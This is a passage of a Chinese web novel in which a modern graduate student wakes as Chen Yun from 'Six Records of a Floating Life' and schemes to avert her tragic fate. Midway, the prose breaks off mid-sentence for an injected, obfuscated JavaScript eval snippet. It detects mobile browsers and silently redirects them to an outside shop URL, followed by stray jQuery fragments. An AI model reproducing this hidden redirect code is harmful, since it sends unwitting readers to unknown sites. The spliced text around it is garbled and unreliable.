1.请笔仙
周六的宿舍，烛光摇曳。
四个女生围坐在方桌前，手指交叉握着一支笔，在铺开的A4纸上轻轻悬着。白雨露能感觉到旁边李薇的手指在微微发抖，对面的张悦已经闭上了眼睛，只有最胆大的王琳还在小声念叨着那句听了八百遍的请仙咒语：
“笔仙笔仙，你是我的前世，我是你的今生。若要与我续缘，请在纸上画圈……”
白雨露在心里翻了个白眼。这已经是她们这个月第三次“请笔仙”了，前两次不是笔没动，就是纸上画了些意义不明的线条。这次她本来不想来，但架不住王琳的软磨硬泡，说什么“研究生生活太枯燥，需要点灵异刺激”。
窗外的风突然大了些，吹得窗帘微微鼓起。蜡烛的火苗猛地晃动，墙上的影子跟着张牙舞爪。
“来了！”李薇小声惊呼。
笔，真的动了。
很轻，很慢，在白纸上划出一道浅浅的痕迹。四个人屏住呼吸，看着那支笔像是被无形的手牵引着，缓缓写下一个字，又一个字——
“周、六、休、息、谢、谢。”
“……”
几秒钟的死寂后，王琳“噗嗤”一声笑出来：“笔仙也过双休啊？”
紧绷的气氛瞬间瓦解。张悦睁开眼，看到纸上的字也笑了：“挺有礼貌，还加个‘谢谢’。”
只有白雨露盯着那六个工整的楷体字，心里泛起一丝怪异的感觉。这字迹……太工整了，工整得不像被四只颤抖的手控制着写出来的。而且那股牵引力，刚才她确实感觉到了，冰凉，坚定，不像任何人的手在故意移动。
“散了散了，笔仙大人要休息，我们别打扰了。”王琳吹灭蜡烛，打开了顶灯。
刺眼的白光亮起，方才的神秘荡然无存。大家开始收拾东西，讨论明天去哪家新开的火锅店。白雨露把那张纸折好，鬼使神差地夹进了床头那本《浮生六记》里。
临睡前，她刷了会儿手机。朋友圈里，同门的男生晒出刚收到的某大厂录用通知，师姐发了篇关于女性职场困境的论文被接收的喜讯，表妹在抱怨父母催婚……她放下手机，望着天花板。
自己是幸运的。在这个时代，作为女性可以读书，可以工作，可以选择单身或结婚，可以喝奶茶熬夜写论文，也可以明天就去买张机票去任何地方。如果生在古代呢？
她想起上周读的《浮生六记》。芸娘，那个被林语堂誉为“中国文学中最可爱的女人”，聪慧灵秀，会女扮男装逛庙会，会和丈夫赏月吟诗，也会在清贫中把日子过出花来。可结局呢？被公婆厌弃驱逐，女儿被送作童养媳，儿子早夭，何其凄惨。
“情深不寿吗？”白雨露喃喃道，翻了个身。
那句请笔仙的咒语不知怎的又在脑海里回响起来：“你是我的前世，我是你的今生……”
如果芸娘是我的前世？这个荒诞的念头让她自己都觉得好笑。可如果真的能回到过去，如果能成为芸娘，她一定要改变那些结局。不让青君那么小就嫁人，不让逢森夭折，不让沈复孤独终老，也不让芸娘自己客死扬州……
想着想着，困意袭来。
枕边，《浮生六记》的封面上，芸娘的小像在夜色中模糊成一团温柔的光影。
再睁眼时，视线是模糊的。
白雨露感到头痛欲裂，仿佛有什么东西正强行挤进她的脑海——不属于她的记忆，不属于她的人生。绣花绷子，青石板路，油灯昏黄的光，药罐子在炉上咕嘟咕嘟响，还有一双总是含着温柔笑意的眼睛……
“芸娘，芸娘？”
谁在叫她？不对，不是在叫她“白雨露”，是在叫“芸娘”。（原著当中普遍用“芸”称陈芸，文言文常简写，所以我用了芸娘）
她艰难地转动眼珠，看到一张清瘦俊朗的脸，约莫三十岁上下，穿着半旧的青色长衫，眉宇间是化不开的愁绪和关切。沈复，这个名字自动从那些涌入的记忆中跳了出来。
“三白……”（沈复字三白）她听到自己发出虚弱的声音，带着江南女子特有的软糯口音，“我……我这是怎么了？”
话一出口，她自己都愣住了。这声音，这语气，这称呼……
沈复握住她的手，他的手很凉：“你又咳血了，昏睡了大半日。药快好了，我扶你起来喝些。”
白雨露——不，现在她是陈芸了——任由沈复将她扶起，靠在他肩上。这个姿势很自然，仿佛已经重复过千百遍。她环顾四周，狭小的房间，简陋的家具，墙皮有些剥落，但窗明几净。窗台上放着一盆长势喜人的兰花，书桌上摊着未写完的字帖，墨迹已干。
所有的细节都与记忆吻合。那些强行涌入的记忆，不是幻觉，是真的——她成了陈芸，清乾隆年间苏州城里那个“中国文学中最可爱的女人”，沈复的妻子！
“我做了个很长的梦。”陈芸（白雨露的意识主导着，但为了方便叙事，后面统称陈芸）轻声说，“梦见一个很奇怪的地方，女子可以读书，可以出门工作，可以和男子一样……”
沈复笑了，笑容里有些苦涩：“那定是个好地方。若是在那里，你的才情便不必埋没在这四方小院里了。”
他的话让陈芸心中一痛。她抬头看他，这个在历史上以深情著称却也因软弱被诟病的男人，此刻正小心地舀起一勺药，吹凉了递到她唇边。他的眼神那么温柔，温柔得让她几乎要忘记那些已知的悲惨结局。
“不行！”她猛地攥紧了被角。既然来了，既然成了芸娘，既然知道后来会发生什么，她一定要改变。
“三白，”她喝下那口苦药，握住了沈复的手，“我有话想同你说。”
2.先绸缪
陈芸花了好几天才完全适应这个身体和这个时代。
乾隆年间的苏州，与她想象中的古朴雅致相差无几。小桥流水，粉墙黛瓦，街市上人声鼎沸。但那些“适应”更多是□□记忆的自动反应：如何用火折子点灯，如何穿繁复的衣裙，如何行礼，如何用那些她从未见过的厨房器具。
而精神上，她始终是白雨露。那个二十一世纪的研究生，熬夜写论文喝奶茶，和同学争论女权问题，对未来有清晰规划的白雨露。
这种割裂感在她第一次咳血时达到了顶峰。那日她正尝试着用记忆中的方法刺绣——芸娘靠这个补贴家用。忽然喉头一甜，手帕上便绽开了一朵刺目的红梅，看着那血迹，愣了好久。
这就是血疾。最终会要了芸娘命的病。
她冲到那面模糊的铜镜前，镜中的脸苍白瘦削，但眉眼清秀，尤其是一双眼睛，温润灵动。这就是芸娘，那个让沈复记了一辈子，让后世无数读者怜惜的女子。
“你不能死。”陈芸对着镜中人一字一顿地说，“至少，不能这样死。”
当晚沈复回来时，陈芸已经整理好了情绪。她做了几样清淡小菜——得益于芸娘身体本身的记忆，她做这些竟也得心应手。饭桌上，她状似无意地提起：
“三白，我这几日总想起沧浪亭。你记得我们第一次见面时，你让我吃的那碗粥么？”
沈复眼睛一亮：“怎会不记得？你那时藏在门后偷看我，被我发现，羞得满脸通红。”
那是《浮生六记》开篇的温馨场景。有次陈芸的表姐结婚，沈复和母亲同去参加婚礼。其他人都穿得比较艳丽，独有陈芸在一群人中显得格外素雅。沈复不喜欢吃蜜饯甜食，一旁的陈芸心领神会，轻轻拽了拽沈复的衣袖，带他来到自己居住的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641759|206700||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
暖阁，她提前为他准备了粥和青菜。不想，这一幕被陈芸堂兄撞破，堂兄戏谑道：“我要吃粥你不给，原来是专门给你夫婿准备的！”举座哗然，陈芸听了，脸红到脖子跟，低着头跑了出去。自从藏粥被取笑之后，他们偶尔见面始终保持着距离。
陈芸心里一暖，但随即正色道：“我们曾说，等老了要在沧浪亭畔置个小院，种竹养花。这话，还作数么？”
沈复的笑容淡了些，他放下筷子，沉默片刻：“作数。只是……芸娘，你知道的，眼下家中光景……”
陈芸当然知道。沈复虽是读书人，但科举不顺，又不会经营，家中主要靠祖产和他偶尔为人作画、写字的微薄收入维持。而更大的隐患，是沈复的父亲沈稼夫对儿媳的不满正在累积——在芸娘代婆婆写家书被公公误会这件事上，历史很快就会重演。
“我知道家里艰难。”陈芸握住沈复的手，目光坚定，“所以我们要早做打算。我有几个想法，你听听可好？”
沈复有些惊讶。芸娘向来温顺体贴，少有如此主动谋划的时候。他点点头：“你说。”
“第一，你的画和字都极好，但在苏州城里，文人太多，显不出来。我听说扬州盐商富裕，又好附庸风雅，若能去扬州谋个馆席，或卖些字画，收入应当比这里好。”
这是陈芸仔细想过的。沈复后来确实去了扬州，但那是芸娘病重之后，为求生计被迫前往。而且他去得太晚，错过了许多机会。如果能早几年去，或许能打开局面。
沈复蹙眉：“扬州？可我们在此处有宅有业，父母也在……”
“第二，”陈芸打断他，这是她作为现代女性最不习惯的一点——说话时要看丈夫脸色，但她顾不上了，“父亲那边，我会更加小心谨慎。但三白，有些事不是你我一味退让就能解决的。若父亲母亲对我真有不满，我们不如……暂时分开住？”
这话说得很轻，但在沈复听来无异于惊雷。他猛地站起来：“芸娘！你这是何意？我怎能抛下你！”
“不是抛下。”陈芸也站起来，仰头看他。她比沈复矮一个头，但目光毫不退缩，“是权宜之计。我们可以租个小院，离老宅不远，每日仍可晨昏定省。但不住在一处，摩擦便少，父亲眼不见，心或许就不那么烦了。”
她记得《浮生六记》里，芸娘被逐的导火索之一就是长期同住一个屋檐下，琐事积累成怨。若能分开住，或许能避免最坏的结果。
沈复在屋里踱步，显然内心挣扎。半晌，他叹道：“芸娘，你今日……与往常很不同。”
陈芸心下一紧。她是不是太急了？露出了破绽？
但沈复随即苦笑道：“你说得都有理。只是搬出去住，需要银钱。扬州之行，也需盘缠。眼下……眼下实在艰难。”
“钱的事，我来想办法。”陈芸说，“我的绣活还能卖些钱。另外，我想做些小生意。”
“生意？”沈复更惊讶了。士农工商，商为末流，良家妇女更不宜抛头露面做生意。
陈芸知道他顾虑什么，解释道：“不是开铺子。我可以做些精致的绣品、香囊、荷包，托可靠的人去卖。苏州游人多，这些应当好销。我还想试着做一种新式点心，若成，也是一项收入。”
她说的是奶茶。这个念头冒出时她自己都觉得荒谬，但仔细一想，未必不可行。清朝已有茶叶和牛奶，缺的只是创意和配方。若能做出类似奶茶的饮品，或许能打开市场。
沈复看着妻子眼中许久未见的光彩，那些反对的话竟说不出口。最终，他点点头：“你既有此心，便试试。只是千万保重身体，莫要劳累。”
陈芸笑了，那是穿越以来第一个真心的笑容。
第一步，算是迈出去了。